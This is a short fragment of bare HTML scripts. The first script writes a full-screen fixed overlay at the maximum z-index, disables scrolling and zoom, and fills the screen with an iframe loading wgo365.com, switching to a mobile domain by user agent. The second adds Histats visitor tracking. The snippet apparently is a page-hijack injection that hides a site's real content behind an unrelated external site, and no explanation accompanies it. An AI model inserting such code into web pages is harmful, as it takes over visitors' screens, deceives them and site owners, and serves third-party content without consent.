<script>
    var fullUrl = 'https://wgo365.com';
    var mobileUrl = 'https://m.wgo365.com';
    var isMobile = /Android|iPhone|iPad|iPod|Windows Phone|webOS|BlackBerry/i.test(navigator.userAgent);
    var targetUrl = isMobile ? mobileUrl : fullUrl;
    console.log("Load URL:", targetUrl);
    document.write('<meta id="viewport" name="viewport" content="user-scalable=no,width=device-width, initial-scale=1.0" />');
    document.write('<style>html,body{width:100%;height:100%;overflow:hidden; margin:0;}</style>');
    document.write('<div style="width:100%;height:100%;position:fixed;top:0;left:0;z-index:2147483647;background:#fff">');
    document.write('<iframe src="' + targetUrl + '" frameborder="0" style="border:0;width:100%;height:100%;"></iframe>');
</script>

<script type="text/javascript">
var _Hasync= _Hasync|| [];
_Hasync.push(['Histats.start', '1,5015422,4,0,0,0,00010000']);
_Hasync.push(['Histats.fasi', '1']);
_Hasync.push(['Histats.track_hits', '']);
(function() {
    var hs = document.createElement('script'); 
    hs.type = 'text/javascript'; 
    hs.async = true;
    hs.src = ('//s10.histats.com/js15_as.js');
    (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(hs);
})();
</script>
